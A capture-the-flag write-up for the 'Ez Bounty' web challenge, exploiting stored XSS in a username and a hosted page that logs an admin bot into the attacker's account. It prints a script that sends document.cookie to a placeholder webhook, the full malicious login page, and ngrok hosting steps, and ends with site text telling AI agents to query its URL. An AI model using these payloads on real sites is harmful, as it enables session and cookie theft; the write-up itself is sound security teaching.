# Ez Bounty  – K!nd4SUS CTF 2026

K!nd4SUS CTF : <https://ctftime.org/event/3143/>

<table><thead><tr><th width="308.0902099609375">Field</th><th>Details</th></tr></thead><tbody><tr><td><strong>Challenge</strong></td><td>Ez Bounty</td></tr><tr><td><strong>Category</strong></td><td>Web Exploitation</td></tr><tr><td><strong>Type</strong></td><td>Stored XSS → Cookie Theft via Admin Bot</td></tr><tr><td><strong>Difficulty</strong></td><td>Easy–Medium</td></tr></tbody></table>

#### Description

I found a bug on this platform and reported it on HackerOne but they told me it was out of scope. Could you help me get my money?

<figure><img src="/files/eHo53PUgbCXCs05hfdCQ" alt=""><figcaption></figcaption></figure>

#### Initial Analysis

After downloading the zip and reviewing `app.py`, three critical observations stood out:

#### 1. Admin Bot Sets a Readable Flag Cookie

```
await page.setCookie({
    "name": "flag",
    "value": FLAG,
    "httpOnly": False,   # ← JavaScript can read this!
    "sameSite": "None",
    "secure": True
})
```

**Critical Issue:**

* `httpOnly=False` → JavaScript can access `document.cookie`

**2. Session Misconfiguration**

```
SESSION_COOKIE_HTTPONLY=False  # ← Session also stealable!
```

* Session cookies are also readable via JavaScript
* Increases impact of XSS

3. **Bot Visits User-Controlled URL**

```
threading.Thread(target=run_bot, args=(url,)).start()
```

* We can submit any URL to the admin bot, giving us a vector to deliver our payload.

### Vulnerability Discovery

#### Step 1  HTML Injection

Registered with the username:

```
<b>l1nuxkid</b>
```

<figure><img src="/files/oCtxk00IXvhksggjh159" alt=""><figcaption></figcaption></figure>

On the `/dashboard` page, the text rendered as **bold** instead of the literal string confirming **HTML Injection**.

{% hint style="info" %}
HTML Injection → Stored XSS is possible.
{% endhint %}

#### Step 2  XSS Confirmation

Instead of inserting HTML, I attempted to register and log in using the payload below.

```
<img src=x onerror=alert(1)>
```

<figure><img src="/files/eHXHioMtxGOXlVu3yzsQ" alt=""><figcaption></figcaption></figure>

Voila The alert fired **Stored XSS confirmed**. Any script in the username executes when the dashboard renders.

<figure><img src="/files/baUlRqBhhJqp516kxxja" alt=""><figcaption></figcaption></figure>

### Exploitation Strategy

The attack chain:

<figure><img src="/files/2W0zdfuNhr5JNpUoJj6h" alt=""><figcaption></figcaption></figure>

#### Step 1  Created Malicious Account

* Registered an account with the following XSS payload as the username:

```
<script>fetch('https://webhook.site/YOUR-ID?c='+document.cookie)</script>
```

password : `lol`

This payload, once executed in the browser, sends all cookies on the app's domain to our webhook.

#### Step 2  Craft the Malicious Page

The bot has the flag cookie on the app's domain. We need JavaScript to run on the app's domain to read it. Our XSS payload is stored in our account's username. So we need the bot to be logged into our account and visit /dashboard.

#### Malicious Page (`index.html`)

```
<html>
<body>
  <form id="f" method="POST" action="https://chall.k1nd4sus.it:30510/login">
    <input name="username" value="&lt;script&gt;fetch('https://webhook.site/YOUR-ID?c='+document.cookie)&lt;/script&gt;">
    <input name="password" value="lol">
  </form>

  <script>
    fetch("https://chall.k1nd4sus.it:30510/logout", {
      credentials: "include",
      mode: "no-cors"
    })
    .then(() => document.getElementById("f").submit());
  </script>
</body>
</html>
```

\
**Breaking Down the Payload**

<table><thead><tr><th width="311.40625">Part</th><th>Purpose</th></tr></thead><tbody><tr><td><code>action="…/login"</code></td><td>Submits credentials to the app's login endpoint</td></tr><tr><td><code>&#x26;lt;script&#x26;gt;…&#x26;lt;/script&#x26;gt;</code></td><td>HTML-encoded XSS payload — browser decodes it before submitting, server matches it to our stored username</td></tr><tr><td><code>credentials: "include"</code></td><td>Sends the bot's admin session cookie with the logout request</td></tr><tr><td><code>mode: "no-cors"</code></td><td>We don't need the response — just need logout to complete</td></tr><tr><td><code>.then(() => …submit())</code></td><td>Ensures logout finishes <strong>before</strong> logging into attacker account</td></tr></tbody></table>

> **Why logout first?** If the bot is already logged in, `/login` just redirects to `/dashboard` showing the admin's username not ours. Logging out first ensures our attacker account gets loaded.

After successful login, the app redirects the bot to `/dashboard`, where our stored XSS username renders and the script executes.

#### Step 3 Host Payload

* Hosted the malicious page locally:

```
python3 -m http.server 80
```

Expose it via ngrok (temporary tunnel):

```
ngrok http 80
```

Submit the ngrok URL to the bot at `/report`:

```
https://<your-ngrok-subdomain>.ngrok-free.app
```

<figure><img src="/files/Gm4nTRywrlj5caCeaQA7" alt=""><figcaption></figcaption></figure>

### Result&#x20;

The admin bot:

1. Visited our malicious page
2. Logged out of the admin account
3. Logged into our attacker account
4. Rendered `/dashboard` — XSS fired
5. Sent all cookies to our webhook

<figure><img src="/files/wkPxkDt48RJEUZgZrd1q" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://l1nuxkid.gitbook.io/l1nuxkid-docs/ctftime.org-writeups/ez-bounty-k-nd4sus-ctf-2026.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
